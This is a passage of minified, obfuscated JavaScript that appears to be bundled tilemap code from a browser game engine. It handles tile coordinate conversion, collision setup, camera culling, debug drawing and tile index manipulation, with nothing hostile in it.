_0x2e4dab['tilemapLayer']['worldToTileXY'](_0x467600, _0x5daeb9, !0x0, _0x5b5b9f, _0x1d0a1c, _0x2e4dab), _0x214deb(_0x4aabe5, _0x5b5b9f['x'], _0x5b5b9f['y'], _0x4a5f7f, _0x2e4dab); }; }, 0x36e3: (_0x3deb11, _0x39fe2c, _0x210e89) => { var _0x2536ba = _0x210e89(0xa64d), _0x18e5de = _0x210e89(0x11786); _0x3deb11['exports'] = function (_0x33c9b2, _0x2a3ab5, _0x3f1226, _0x3a7f1f, _0x2e8bcb) { if (void 0x0 === _0x3a7f1f && (_0x3a7f1f = !0x0), !Array['isArray'](_0x33c9b2)) return null; Array['isArray'](_0x33c9b2[0x0]) || (_0x33c9b2 = [_0x33c9b2]); for (var _0x4e681b = _0x33c9b2['length'], _0x51b9ed = _0x33c9b2[0x0]['length'], _0x12a7dd = 0x0; _0x12a7dd < _0x4e681b; _0x12a7dd++)for (var _0x55c5e2 = 0x0; _0x55c5e2 < _0x51b9ed; _0x55c5e2++) { var _0x579eaf = _0x33c9b2[_0x12a7dd][_0x55c5e2]; _0x18e5de(_0x579eaf, _0x2a3ab5 + _0x55c5e2, _0x3f1226 + _0x12a7dd, !0x1, _0x2e8bcb); } _0x3a7f1f && _0x2536ba(_0x2a3ab5 - 0x1, _0x3f1226 - 0x1, _0x51b9ed + 0x2, _0x4e681b + 0x2, _0x2e8bcb); }; }, 0x12e4d: (_0x1fa811, _0x1b8f3b, _0x58050e) => { var _0x4943cf = _0x58050e(0x1cda), _0xa6fdf5 = _0x58050e(0x67b2); _0x1fa811['exports'] = function (_0x3602ca, _0x2c30f7, _0x3330dd, _0x32809f, _0x8f1338, _0x4c2844) { var _0x3ecf28, _0x50d0d1 = _0x4943cf(_0x3602ca, _0x2c30f7, _0x3330dd, _0x32809f, {}, _0x4c2844); if (!_0x8f1338) { for (_0x8f1338 = [], _0x3ecf28 = 0x0; _0x3ecf28 < _0x50d0d1['length']; _0x3ecf28++)-0x1 === _0x8f1338['indexOf'](_0x50d0d1[_0x3ecf28]['index']) && _0x8f1338['push'](_0x50d0d1[_0x3ecf28]['index']); } for (_0x3ecf28 = 0x0; _0x3ecf28 < _0x50d0d1['length']; _0x3ecf28++)_0x50d0d1[_0x3ecf28]['index'] = _0xa6fdf5(_0x8f1338); }; }, 0xf845: (_0x40fb5a, _0x1e1412, _0x5829c8) => { var _0x5e9845 = _0x5829c8(0x59f5), _0x551363 = _0x5829c8(0xf60f), _0x22409f = _0x5829c8(0x11957); _0x40fb5a['exports'] = function (_0x1a0217, _0x354725, _0x512f1a, _0x4928ae, _0xbe6136) { if (void 0x0 === _0x512f1a && (_0x512f1a = !0x0), void 0x0 === _0x4928ae && (_0x4928ae = !0x0), !_0x551363(_0x1a0217, _0x354725, _0xbe6136)) return null; var _0x59f251 = _0xbe6136['data'][_0x354725][_0x1a0217]; return _0x59f251 ? (_0xbe6136['data'][_0x354725][_0x1a0217] = _0x512f1a ? null : new _0x5e9845(_0xbe6136, -0x1, _0x1a0217, _0x354725, _0xbe6136['tileWidth'], _0xbe6136['tileHeight']), _0x4928ae && _0x59f251 && _0x59f251['collides'] && _0x22409f(_0x1a0217, _0x354725, _0xbe6136), _0x59f251) : null; }; }, 0x16fe2: (_0x20ab20, _0x55a054, _0x20e031) => { var _0x2691f3 = _0x20e031(0xf845), _0x9c888d = new (_0x20e031(0x65f3))(); _0x20ab20['exports'] = function (_0x3a1738, _0x4f3d86, _0x486871, _0x12ea1c, _0x5abd87, _0x1e4b9e) { return _0x1e4b9e['tilemapLayer']['worldToTileXY'](_0x3a1738, _0x4f3d86, !0x0, _0x9c888d, _0x5abd87, _0x1e4b9e), _0x2691f3(_0x9c888d['x'], _0x9c888d['y'], _0x486871, _0x12ea1c, _0x1e4b9e); }; }, 0x3cad: (_0x2e4848, _0x220871, _0x3e5023) => { var _0x479e2c = _0x3e5023(0x1cda), _0x2dd03f = _0x3e5023(0xf74), _0xde8816 = new _0x2dd03f(0x69, 0xd2, 0xe7, 0x96), _0x5c7321 = new _0x2dd03f(0xf3, 0x86, 0x30, 0xc8), _0x41b485 = new _0x2dd03f(0x28, 0x27, 0x25, 0x96); _0x2e4848['exports'] = function (_0x152739, _0xcb74cd, _0x187ed7) { void 0x0 === _0xcb74cd && (_0xcb74cd = {}); var _0x1da1db = void 0x0 !== _0xcb74cd['tileColor'] ? _0xcb74cd['tileColor'] : _0xde8816, _0x5b6e61 = void 0x0 !== _0xcb74cd['collidingTileColor'] ? _0xcb74cd['collidingTileColor'] : _0x5c7321, _0x52ee72 = void 0x0 !== _0xcb74cd['faceColor'] ? _0xcb74cd['faceColor'] : _0x41b485, _0x5e6822 = _0x479e2c(0x0, 0x0, _0x187ed7['width'], _0x187ed7['height'], null, _0x187ed7); _0x152739['translateCanvas'](_0x187ed7['tilemapLayer']['x'], _0x187ed7['tilemapLayer']['y']), _0x152739['scaleCanvas'](_0x187ed7['tilemapLayer']['scaleX'], _0x187ed7['tilemapLayer']['scaleY']); for (var _0x4444c7 = 0x0; _0x4444c7 < _0x5e6822['length']; _0x4444c7++) { var _0x20b699 = _0x5e6822[_0x4444c7], _0x526c32 = _0x20b699['width'], _0x4f37ac = _0x20b699['height'], _0x46c871 = _0x20b699['pixelX'], _0x10179e = _0x20b699['pixelY'], _0x4a2910 = _0x20b699['collides'] ? _0x5b6e61 : _0x1da1db; null !== _0x4a2910 && (_0x152739['fillStyle'](_0x4a2910['color'], _0x4a2910['alpha'] / 0xff), _0x152739['fillRect'](_0x46c871, _0x10179e, _0x526c32, _0x4f37ac)), _0x46c871 += 0x1, _0x10179e += 0x1, _0x526c32 -= 0x2, _0x4f37ac -= 0x2, null !== _0x52ee72 && (_0x152739['lineStyle'](0x1, _0x52ee72['color'], _0x52ee72['alpha'] / 0xff), _0x20b699['faceTop'] && _0x152739['lineBetween'](_0x46c871, _0x10179e, _0x46c871 + _0x526c32, _0x10179e), _0x20b699['faceRight'] && _0x152739['lineBetween'](_0x46c871 + _0x526c32, _0x10179e, _0x46c871 + _0x526c32, _0x10179e + _0x4f37ac), _0x20b699['faceBottom'] && _0x152739['lineBetween'](_0x46c871, _0x10179e + _0x4f37ac, _0x46c871 + _0x526c32, _0x10179e + _0x4f37ac), _0x20b699['faceLeft'] && _0x152739['lineBetween'](_0x46c871, _0x10179e, _0x46c871, _0x10179e + _0x4f37ac)); } }; }, 0x6d53: (_0x32b341, _0xf8bab6, _0x27084a) => { var _0x374a59 = _0x27084a(0x1cda); _0x32b341['exports'] = function (_0x21edb1, _0x471830, _0x10019f, _0x475f23, _0x238449, _0x3e2bf6, _0x52bda8) { for (var _0xdae728 = _0x374a59(_0x10019f, _0x475f23, _0x238449, _0x3e2bf6, null, _0x52bda8), _0x3f6eb5 = 0x0; _0x3f6eb5 < _0xdae728['length']; _0x3f6eb5++)_0xdae728[_0x3f6eb5] && _0xdae728[_0x3f6eb5]['index'] === _0x21edb1 && (_0xdae728[_0x3f6eb5]['index'] = _0x471830); }; }, 0x7ee3: _0x5988f8 => { _0x5988f8['exports'] = function (_0x536b3c, _0x2097e6, _0x50875c, _0x5a7f66) { var _0xc91a02, _0x50c0ec, _0x3d75fb, _0x317891 = _0x536b3c['data'], _0x35f17b = _0x536b3c['width'], _0xa5a301 = _0x536b3c['height'], _0xf5b9e6 = _0x536b3c['tilemapLayer'], _0x1233d0 = Math['max'](0x0, _0x2097e6['left']), _0x3f4aa0 = Math['min'](_0x35f17b, _0x2097e6['right']), _0x1e9e3b = Math['max'](0x0, _0x2097e6['top']), _0x4ceda1 = Math['min'](_0xa5a301, _0x2097e6['bottom']); if (0x0 === _0x50875c) { for (_0x50c0ec = _0x1e9e3b; _0x50c0ec < _0x4ceda1; _0x50c0ec++)for (_0xc91a02 = _0x1233d0; _0x317891[_0x50c0ec] && _0xc91a02 < _0x3f4aa0; _0xc91a02++)(_0x3d75fb = _0x317891[_0x50c0ec][_0xc91a02]) && -0x1 !== _0x3d75fb['index'] && _0x3d75fb['visible'] && 0x0 !== _0x3d75fb['alpha'] && _0x5a7f66['push'](_0x3d75fb); } else { if (0x1 === _0x50875c) { for (_0x50c0ec = _0x1e9e3b; _0x50c0ec < _0x4ceda1; _0x50c0ec++)for (_0xc91a02 = _0x3f4aa0; _0x317891[_0x50c0ec] && _0xc91a02 >= _0x1233d0; _0xc91a02--)(_0x3d75fb = _0x317891[_0x50c0ec][_0xc91a02]) && -0x1 !== _0x3d75fb['index'] && _0x3d75fb['visible'] && 0x0 !== _0x3d75fb['alpha'] && _0x5a7f66['push'](_0x3d75fb); } else { if (0x2 === _0x50875c) { for (_0x50c0ec = _0x4ceda1; _0x50c0ec >= _0x1e9e3b; _0x50c0ec--)for (_0xc91a02 = _0x1233d0; _0x317891[_0x50c0ec] && _0xc91a02 < _0x3f4aa0; _0xc91a02++)(_0x3d75fb = _0x317891[_0x50c0ec][_0xc91a02]) && -0x1 !== _0x3d75fb['index'] && _0x3d75fb['visible'] && 0x0 !== _0x3d75fb['alpha'] && _0x5a7f66['push'](_0x3d75fb); } else { if (0x3 === _0x50875c) { for (_0x50c0ec = _0x4ceda1; _0x50c0ec >= _0x1e9e3b; _0x50c0ec--)for (_0xc91a02 = _0x3f4aa0; _0x317891[_0x50c0ec] && _0xc91a02 >= _0x1233d0; _0xc91a02--)(_0x3d75fb = _0x317891[_0x50c0ec][_0xc91a02]) && -0x1 !== _0x3d75fb['index'] && _0x3d75fb['visible'] && 0x0 !== _0x3d75fb['alpha'] && _0x5a7f66['push'](_0x3d75fb); } } } } return _0xf5b9e6['tilesDrawn'] = _0x5a7f66['length'], _0xf5b9e6['tilesTotal'] = _0x35f17b * _0xa5a301, _0x5a7f66; }; }, 0xdeec: (_0x4eca52, _0x1386c1, _0x30ad25) => { var _0x1f0587 = _0x30ad25(0x5060), _0x58b705 = _0x30ad25(0xa64d), _0x14661b = _0x30ad25(0x2575); _0x4eca52['exports'] = function (_0x7b1d41, _0x72700f, _0x4f96ba, _0x5440f1, _0x5d59e9) { void 0x0 === _0x72700f && (_0x72700f = !0x0), void 0x0 === _0x4f96ba && (_0x4f96ba = !0x0), void 0x0 === _0x5d59e9 && (_0x5d59e9 = !0x0), Array['isArray'](_0x7b1d41) || (_0x7b1d41 = [_0x7b1d41]); for (var _0x34d5ce = 0x0; _0x34d5ce < _0x7b1d41['length']; _0x34d5ce++)_0x14661b(_0x7b1d41[_0x34d5ce], _0x72700f, _0x5440f1); if (_0x5d59e9) { for (var _0x19af13 = 0x0; _0x19af13 < _0x5440f1['height']; _0x19af13++)for (var _0x4cf434 = 0x0; _0x4cf434 < _0x5440f1['width']; _0x4cf434++) { var _0x13996e = _0x5440f1['data'][_0x19af13][_0x4cf434]; _0x13996e && -0x1 !== _0x7b1d41['indexOf'](_0x13996e['index']) && _0x1f0587(_0x13996e, _0x72700f); } } _0x4f96ba && _0x58b705(0x0, 0x0, _0x5440f1['width'], _0x5440f1['height'], _0x5440f1); }; }, 0x9192: (_0x2b7a00, _0x24ff57, _0x590fd9) => { var _0x14a0fa = _0x590fd9(0x5060), _0x46a21d = _0x590fd9(0xa64d), _0x17c714 = _0x590fd9(0x2575); _0x2b7a00['exports'] = function (_0x3a50d6, _0x2cfdcf, _0x3dd4b7, _0xc962db, _0x10994c, _0x4d1353) { if (void 0x0 === _0x3dd4b7 && (_0x3dd4b7 = !0x0), void 0x0 === _0xc962db && (_0xc962db = !0x0), void 0x0 === _0x4d1353 && (_0x4d1353 = !0x0), !(_0x3a50d6 > _0x2cfdcf)) { for (var _0x296a41 = _0x3a50d6; _0x296a41 <= _0x2cfdcf; _0x296a41++)_0x17c714(_0x296a41, _0x3dd4b7, _0x10994c); if (_0x4d1353) { for (var _0x5303a7 = 0x0; _0x5303a7 < _0x10994c['height']; _0x5303a7++)for (var _0x3ca8a7 = 0x0; _0x3ca8a7 < _0x10994c['width']; _0x3ca8a7++) { var _0x3b2c6f = _0x10994c['data'][_0x5303a7][_0x3ca8a7]; _0x3b2c6f && _0x3b2c6f['index'] >= _0x3a50d6 && _0x3b2c6f['index'] <= _0x2cfdcf && _0x14a0fa(_0x3b2c6f, _0x3dd4b7); } } _0xc962db && _0x46a21d(0x0, 0x0, _0x10994c['width'], _0x10994c['height'], _0x10994c); } }; }, 0x1278d: (_0x518cee, _0x35a4f8, _0x45515b) => { var _0x57a867 = _0x45515b(0x5060), _0x2b29dc = _0x45515b(0xa64d), _0x7a06cb = _0x45515b(0x2575); _0x518cee['exports'] = function (_0x547774, _0x1331a4, _0x3dcb38, _0x2c6afb) { void 0x0 === _0x1331a4 && (_0x1331a4 = !0x0), void 0x0 === _0x3dcb38 && (_0x3dcb38 = !0x0), Array['isArray'](_0x547774) || (_0x547774 = [_0x547774]); for (var _0x5ce9c0 = 0x0; _0x5ce9c0 < _0x2c6afb['height']; _0x5ce9c0++)for (var _0x3490d2 = 0x0; _0x3490d2 < _0x2c6afb['width']; _0x3490d2++) { var _0xd21da9 = _0x2c6afb['data'][_0x5ce9c0][_0x3490d2]; _0xd21da9 && -0x1 === _0x547774['indexOf'](_0xd21da9['index']) && (_0x57a867(_0xd21da9, _0x1331a4), _0x7a06cb(_0xd21da9['index'], _0x1331a4, _0x2c6afb)); } _0x3dcb38 && _0x2b29dc(0x0, 0x0, _0x2c6afb['width'], _0x2c6afb['height'], _0x2c6afb); }; }, 0xfce4: (_0x251c1d, _0x91fbb7, _0x26be83) => { var _0xcc03d1 = _0x26be83(0x5060), _0x311e44 = _0x26be83(0xa64d), _0x2e574e = _0x26be83(0x17afe); _0x251c1d['exports'] = function (_0xf82739, _0x9b7baa, _0xb20d3e, _0x7fcbaa) { void 0x0 === _0x9b7baa && (_0x9b7baa = !0x0), void 0x0 === _0xb20d3e && (_0xb20d3e = !0x0); for (var _0x3fc975 = 0x0; _0x3fc975 < _0x7fcbaa['height']; _0x3fc975++)for (var _0xe3c9e1 = 0x0; _0xe3c9e1 < _0x7fcbaa['width']; _0xe3c9e1++) { var _0x5a39e5 = _0x7fcbaa['data'][_0x3fc975][_0xe3c9e1]; if (_0x5a39e5) { for (var _0x5e412a in _0xf82739) if (_0x2e574e(_0x5a39e5['properties'], _0x5e412a)) { var _0x32f569 = _0xf82739[_0x5e412a]; Array['isArray'](_0x32f569) || (_0x32f569 = [_0x32f569]); for (var _0x302b7e = 0x0; _0x302b7e < _0x32f569['length']; _0x302b7e++)_0x5a39e5['properties'][_0x5e412a] === _0x32f569[_0x302b7e] && _0xcc03d1(_0x5a39e5, _0x9b7baa); } } } _0xb20d3e && _0x311e44(0x0, 0x0, _0x7fcbaa['width'], _0x7fcbaa['height'], _0x7fcbaa); }; }, 0xf74b: (_0x5498c9, _0xaabc0, _0x31297a) => { var _0x43d334 = _0x31297a(0x5060), _0x59c4c8 = _0x31297a(0xa64d); _0x5498c9['exports'] = function (_0x557ea9, _0x11810e, _0x50c38a) { void 0x0 === _0x557ea9 && (_0x557ea9 = !0x0), void 0x0 === _0x11810e && (_0x11810e = !0x0); for (var _0x594f14 = 0x0; _0x594f14 < _0x50c38a['height']; _0x594f14++)for (var _0x13b7e4 = 0x0; _0x13b7e4 < _0x50c38a['width']; _0x13b7e4++) { var _0x53d32a = _0x50c38a['data'][_0x594f14][_0x13b7e4]; if (_0x53d32a) { var _0x171e30 = _0x53d32a['getCollisionGroup'](); _0x171e30 && _0x171e30['objects'] && _0x171e30['objects']['length'] > 0x0 && _0x43d334(_0x53d32a, _0x557ea9); } } _0x11810e && _0x59c4c8(0x0, 0x0, _0x50c38a['width'], _0x50c38a['height'], _0x50c38a); }; }, 0x2575: _0x505091 => { _0x505091['exports'] = function (_0x463860, _0x26840b, _0x227715) { var _0x3398bf = _0x227715['collideIndexes']['indexOf'](_0x463860); _0x26840b && -0x1 === _0x3398bf ? _0x227715['collideIndexes']['push'](_0x463860) : _0x26840b || -0x1 === _0x3398bf || _0x227715['collideIndexes']['splice'](_0x3398bf, 0x1); }; }, 0x5060: _0x278aa4 => { _0x278aa4['exports'] = function (_0x4e8272, _0x1c814e) { _0x1c814e ? _0x4e8272['setCollision'](!0x0, !0x0, !0x0, !0x0, !0x1) : _0x4e8272['resetCollision'](!0x1); }; }, 0x136df: _0x3ccdc8 => { _0x3ccdc8['exports'] = function (_0x5e7fd7, _0x5604d2, _0x2ce020, _0x54968d) { if ('number' == typeof _0x5e7fd7) _0x54968d['callbacks'][_0x5e7fd7] = null !== _0x5604d2 ? { 'callback': _0x5604d2, 'callbackContext': _0x2ce020 } : void 0x0; else { for (var _0x388f09 = 0x0, _0x28604a = _0x5e7fd7['length']; _0x388f09 < _0x28604a; _0x388f09++)_0x54968d['callbacks'][_0x5e7fd7[_0x388f09]] = null !== _0x5604d2 ? { 'callback': _0x5604d2, 'callbackContext': _0x2ce020 } : void 0x0; } }; }, 0x16c46: (_0x24bfd8, _0x43a381, _0x2ddaf2) => { var _0x56ef09 = _0x2ddaf2(0x1cda); _0x24bfd8['exports'] = function (_0x1c5783, _0x593916, _0x19c701, _0x343b5a, _0x3c3134, _0x308211, _0x31e576) { for (var _0x174158 = _0x56ef09(_0x1c5783, _0x593916, _0x19c701, _0x343b5a, null, _0x31e576), _0x11f916 = 0x0; _0x11f916 < _0x174158['length']; _0x11f916++)_0x174158[_0x11f916]['setCollisionCallback'](_0x3c3134, _0x308211); }; }, 0x8087: (_0xad63ac, _0x17dcf9, _0x22bbd4) => { var _0x466a31 = _0x22bbd4(0x1cda), _0x530997 = _0x22bbd4(0x8390); _0xad63ac['exports'] = function (_0x3c4de4, _0x17f69b, _0x56768a, _0x5b1a17, _0x54eacd) { var _0x2b40d3 = _0x466a31(_0x3c4de4, _0x17f69b, _0x56768a, _0x5b1a17, null, _0x54eacd), _0x2ecbd0 = _0x2b40d3['map'](function (_0x4ba8bc) { return _0x4ba8bc['index']; }); _0x530997(_0x2ecbd0); for (var _0x373f01 = 0x0; _0x373f01 < _0x2b40d3['length']; _0x373f01++)_0x2b40d3[_0x373f01]['index'] = _0x2ecbd0[_0x373f01]; }; }, 0xef8d: (_0x27d859, _0x9b6433, _0x484fd0) => { var _0x4d1784 = _0x484fd0(0xf7d8), _0x39e80d = _0x484fd0(0xdd07); _0x27d859['exports'] = function (_0x1f500d, _0x59547b) { var _0x1fe884 = _0x1f500d['tilemapLayer']['tilemap'], _0x35556f = _0x1f500d['tilemapLayer'], _0x84ac0b = Math['floor'](_0x1fe884['tileWidth'] * _0x35556f['scaleX']), _0x5b114d = Math['floor'](_0x1fe884['tileHeight'] * _0x35556f['scaleY']); return { 'left': _0x39e80d(_0x59547b['worldView']['x'] - _0x35556f['x'], _0x84ac0b, 0x0, !0x0) - _0x35556f['cullPaddingX'], 'right': _0x4d1784(_0x59547b['worldView']['right'] - _0x35556f['x'], _0x84ac0b, 0x0, !0x0) + _0x35556f['cullPaddingX'], 'top': _0x39e80d(_0x59547b['worldView']['y'] - _0x35556f['y'], _0x5b114d / 0x2, 0x0, !0x0) - _0x35556f['cullPaddingY'], 'bottom': _0x4d1784(_0x59547b['worldView']['bottom'] - _0x35556f['y'], _0x5b114d / 0x2, 0x0, !0x0) + _0x35556f['cullPaddingY'] }; }; }, 0xd4e7: (_0x3d1e32, _0x99c43c, _0x4a5462) => { var _0x1be3cd = _0x4a5462(0xef8d), _0x339450 = _0x4a5462(0x7ee3); _0x3d1e32['exports'] = function (_0x1adfcf, _0x196a04, _0x1758be, _0x15a957) { void 0x0 === _0x1758be && (_0x1758be = []), void 0x0 === _0x15a957 && (_0x15a957 = 0x0), _0x1758be['length'] = 0x0; var _0x511402 = _0x1adfcf['tilemapLayer'], _0x5204c4 = _0x1be3cd(_0x1adfcf, _0x196a04); return _0x511402['skipCull'] && 0x1 === _0x511402['scrollFactorX'] && 0x1 === _0x511402['scrollFactorY'] && (_0x5204c4['left'] = 0x0, _0x5204c4['right'] = _0x1adfcf['width'], _0x5204c4['top'] = 0x0, _0x5204c4['bottom'] = _0x1adfcf['height']), _0x339450(_0x1adfcf, _0x5204c4, _0x15a957, _0x1758be), _0x1758be; }; }, 0x17bb2: (_0x2f4fd4, _0x2bed46, _0x5a401d) => { var _0x19a55f = _0x5a401d(0x65f3); _0x2f4fd4['exports'] = function (_0x43063b, _0x4e1a89, _0x18c29a, _0x518250, _0x550e85) { _0x18c29a || (_0x18c29a = new _0x19a55f()); var _0x11d6c2 = _0x550e85['baseTileWidth'], _0x2de4ec = _0x550e85['baseTileHeight'], _0x1a329b = _0x550e85['tilemapLayer'], _0x1739f8 = 0x0, _0x33359e = 0x0; _0x1a329b && (_0x518250 || (_0x518250 = _0x1a329b['scene']['cameras']['main']), _0x1739f8 = _0x1a329b['x'] + _0x518250['scrollX'] * (0x1 - _0x1a329b['scrollFactorX']), _0x11d6c2 *= _0x1a329b['scaleX'], _0x33359e = _0x1a329b['y'] + _0x518250['scrollY'] * (0x1 - _0x1a329b['scrollFactorY']), _0x2de4ec *= _0x1a329b['scaleY']); var _0x56035a = _0x1739f8 + _0x43063b * _0x11d6c2 + _0x4e1a89 % 0x2 * (_0x11d6c2 / 0x2), _0xec7807 = _0x33359e + _0x4e1a89 * (_0x2de4ec / 0x2); return _0x18c29a['set'](_0x56035a, _0xec7807); }; }, 0x6d96: _0x2088b4 => { _0x2088b4['exports'] = function (_0x552cb0, _0x4f6353, _0xee3f8b) { var _0xda0ca = _0xee3f8b['baseTileHeight'], _0x151671 = _0xee3f8b['tilemapLayer'], _0x29d7a1 = 0x0; return _0x151671 && (void 0x0 === _0x4f6353 && (_0x4f6353 = _0x151671['scene']['cameras']['main']), _0x29d7a1 = _0x151671['y'] + _0x4f6353['scrollY'] * (0x1 - _0x151671['scrollFactorY']), _0xda0ca *= _0x151671['scaleY']), _0x29d7a1 + _0x552cb0 * (_0xda0ca / 0x2) + _0xda0ca; }; }, 0x3b04: (_0x11a286, _0x33e499, _0x4abf57) => { var _0x28976a = _0x4abf57(0x65f3); _0x11a286['exports'] = function (_0x226132, _0x41a850, _0x17ceba, _0x97c10a, _0x46b6ef, _0xa49818) { _0x97c10a || (_0x97c10a = new _0x28976a()); var _0x58aa3b = _0xa49818['baseTileWidth'], _0x3efc54 = _0xa49818['baseTileHeight'], _0x15dc7d = _0xa49818['tilemapLayer']; _0x15dc7d && (_0x46b6ef || (_0x46b6ef = _0x15dc7d['scene']['cameras']['main']), _0x41a850 -= _0x15dc7d['y'] + _0x46b6ef['scrollY'] * (0x1 - _0x15dc7d['scrollFactorY']), _0x3efc54 *= _0x15dc7d['scaleY'], _0x226132 -= _0x15dc7d['x'] + _0x46b6ef['scrollX'] * (0x1 - _0x15dc7d['scrollFactorX']), _0x58aa3b *= _0x15dc7d['scaleX']); var _0x260afc = _0x17ceba ? Math['floor'](_0x41a850 / (_0x3efc54 / 0x2)) : _0x41a850 / (_0x3efc54 / 0x2), _0x388b64 = _0x17ceba ? Math['floor']((_0x226132 + _0x260afc % 0x2 * 0.5 * _0x58aa3b) / _0x58aa3b) : (_0x226132 + _0x260afc % 0x2 * 0.5 * _0x58aa3b) / _0x58aa3b; return _0x97c10a['set'](_0x388b64, _0x260afc); }; }, 0xcabc: _0x5b9458 => { _0x5b9458['exports'] = function (_0x639fa9, _0x56eb10, _0x33d402, _0x1b7acb) { var _0x9a5bf9 = _0x1b7acb['baseTileHeight'], _0x245c78 = _0x1b7acb['tilemapLayer']; return _0x245c78 && (_0x33d402 || (_0x33d402 = _0x245c78['scene']['cameras']['main']), _0x639fa9 -= _0x245c78['y'] + _0x33d402['scrollY'] * (0x1 - _0x245c78['scrollFactorY']), _0x9a5bf9 *= _0x245c78['scaleY']), _0x56eb10 ? Math['floor'](_0x639fa9 / (_0x9a5bf9 / 0x2)) : _0x639fa9 / (_0x9a5bf9 / 0x2); }; }, 0x15220: (_0xe86d26, _0x46cbe6, _0x1c8f6f) => { var _0x1b53c6 = _0x1c8f6f(0x1cda); _0xe86d26['exports'] = function (_0x53164c, _0x10ac92, _0xcc9dcd, _0x3a93d7, _0x53fe54, _0x47797f, _0x14c40d) { for (var _0x51d807 = _0x1b53c6(_0xcc9dcd, _0x3a93d7, _0x53fe54, _0x47797f, null, _0x14c40d), _0x3586b1 = 0x0; _0x3586b1 < _0x51d807['length']; _0x3586b1++)_0x51d807[_0x3586b1] && (_0x51d807[_0x3586b1]['index'] === _0x53164c ? _0x51d807[_0x3586b1]['index'] = _0x10ac92 : _0x51d807[_0x3586b1]['index'] === _0x10ac92 && (_0x51d807[_0x3586b1]['index'] = _0x53164c)); }; }, 0x17c01: _0x4cca47 => { _0x4cca47['exports'] = function (_0x4fc250, _0x5d4d29, _0x4e40f3) { var _0xa8bc5b = _0x4e40f3['baseTileWidth'], _0x5f1793 = _0x4e40f3['tilemapLayer'], _0x3b6c2d = 0x0; return _0x5f1793 && (_0x5d4d29 || (_0x5d4d29 = _0x5f1793['scene']['cameras']['main']), _0x3b6c2d = _0x5f1793['x'] + _0x5d4d29['scrollX'] * (0x1 - _0x5f1793['scrollFactorX']), _0xa8bc5b *= _0x5f1793['scaleX']), _0x3b6c2d + _0x4fc250 * _0xa8bc5b; }; }, 0x112b6: (_0x29402e, _0x4c56f1, _0x444451) => { var _0x4774e2 = _0x444451(0x17c01), _0x45b71a = _0x444451(0x73d2), _0x46e29c = _0x444451(0x65f3); _0x29402e['exports'] = function (_0x339784, _0x459428, _0x586154, _0x1ada06, _0x3978d1) { return _0x586154 || (_0x586154 = new _0x46e29c(0x0, 0x0)), _0x586154['x'] = _0x4774e2(_0x339784, _0x1ada06, _0x3978d1), _0x586154['y'] = _0x45b71a(_0x459428, _0x1ada06, _0x3978d1), _0x586154; }; }, 0x73d2: _0x5e4d71 => { _0x5e4d71['exports'] = function (_0x2a1772, _0x22ab89, _0x15153b) { var _0x5c6a27 = _0x15153b['baseTileHeight'], _0x4a0bb8 = _0x15153b['tilemapLayer'], _0x2efe5e = 0x0; return _0x4a0bb8 && (_0x22ab89 || (_0x22ab89 = _0x4a0bb8['scene']['cameras']['main']), _0x2efe5e = _0x4a0bb8['y'] + _0x22ab89['scrollY'] * (0x1 - _0x4a0bb8['scrollFactorY']), _0x5c6a27 *= _0x4a0bb8['scaleY']), _0x2efe5e + _0x2a1772 * _0x5c6a27; }; }, 0x12e36: (_0xdaa035, _0x29b69e, _0x529e4d) => { var _0x35d359 = _0x529e4d(0x1cda), _0x44e4f9 = _0x529e4d(0x126f4); _0xdaa035['exports'] = function (_0x1bcb46, _0x5b62f8, _0x472b2f, _0x5ed9b3, _0x3d7edf, _0x4b0d43) { if (_0x3d7edf) { var _0x5b622b, _0x1fd402 = _0x35d359(_0x1bcb46, _0x5b62f8, _0x472b2f, _0x5ed9b3, null, _0x4b0d43), _0x5bae46 = 0x0; for (_0x5b622b = 0x0; _0x5b622b < _0x3d7edf['length']; _0x5b622b++)_0x5bae46 += _0x3d7edf[_0x5b622b]['weight']; if (!(_0x5bae46 <= 0x0)) for (_0x5b622b = 0x0; _0x5b622b < _0x1fd402['length']; _0x5b622b++) { for (var _0x5ab726 = _0x44e4f9['RND']['frac']() * _0x5bae46, _0x5e0739 = 0x0, _0x3fdcf6 = -0x1, _0x5d4f79 = 0x0; _0x5d4f79 < _0x3d7edf['length']; _0x5d4f79++)if (_0x5ab726 <= (_0x5e0739 += _0x3d7edf[_0x5d4f79]['weight'])) { var _0x599f14 = _0x3d7edf[_0x5d4f79]['index']; _0x3fdcf6 = Array['isArray'](_0x599f14) ? _0x599f14[Math['floor'](_0x44e4f9['RND']['frac']() * _0x599f14['length'])] : _0x599f14; break; } _0x1fd402[_0x5b622b]['index'] = _0x3fdcf6; } } }; }, 0x276f: (_0x510c3e, _0x4d3a30, _0x56b2d6) => { var _0x1c7d80 = _0x56b2d6(0x14f88), _0x23bb8d = new (_0x56b2d6(0x65f3))(); _0x510c3e['exports'] = function (_0x5a2f6e, _0x1398b2, _0x2abab6, _0x418d80) { return _0x1c7d80(_0x5a2f6e, 0x0, _0x1398b2, _0x23bb8d, _0x2abab6, _0x418d80), _0x23bb8d['x']; }; }, 0x14f88: (_0x31eb46, _0x385eaa, _0x13c85e) => { var _0x29972f = _0x13c85e(0x65f3); _0x31eb46['exports'] = function (_0x48b06a, _0x324185, _0x2a0ef9, _0x1042d1, _0x5f0218, _0x3e690b) { void 0x0 === _0x2a0ef9 && (_0x2a0ef9 = !0x0), _0x1042d1 || (_0x1042d1 = new _0x29972f()); var _0xd63fe5 = _0x3e690b['baseTileWidth'], _0x2663e2 = _0x3e690b['baseTileHeight'], _0x1ae063 = _0x3e690b['tilemapLayer']; _0x1ae063 && (_0x5f0218 || (_0x5f0218 = _0x1ae063['scene']['cameras']['main']), _0x48b06a -= _0x1ae063['x'] + _0x5f0218['scrollX'] * (0x1 - _0x1ae063['scrollFactorX']), _0x324185 -= _0x1ae063['y'] + _0x5f0218['scrollY'] * (0x1 - _0x1ae063['scrollFactorY']), _0xd63fe5 *= _0x1ae063['scaleX'], _0x2663e2 *= _0x1ae063['scaleY']); var _0x3be7bf = _0x48b06a / _0xd63fe5, _0x411893 = _0x324185 / _0x2663e2; return _0x2a0ef9 && (_0x3be7bf = Math['floor'](_0x3be7bf), _0x411893 = Math['floor'](_0x411893)), _0x1042d1['set'](_0x3be7bf, _0x411893); }; }, 0xf738: (_0x2cae89, _0x9470b5, _0x1d0418) => { var _0x4416ba = _0x1d0418(0x14f88), _0x1d0c2f = new (_0x1d0418(0x65f3))(); _0x2cae89['exports'] = function (_0x34f02d, _0x3be53b, _0x525187, _0x4215f9) { return _0x4416ba(0x0, _0x34f02d, _0x3be53b, _0x1d0c2f, _0x525187, _0x4215f9), _0x1d0c2f['y']; }; }, 0x13cbe: (_0x183e43, 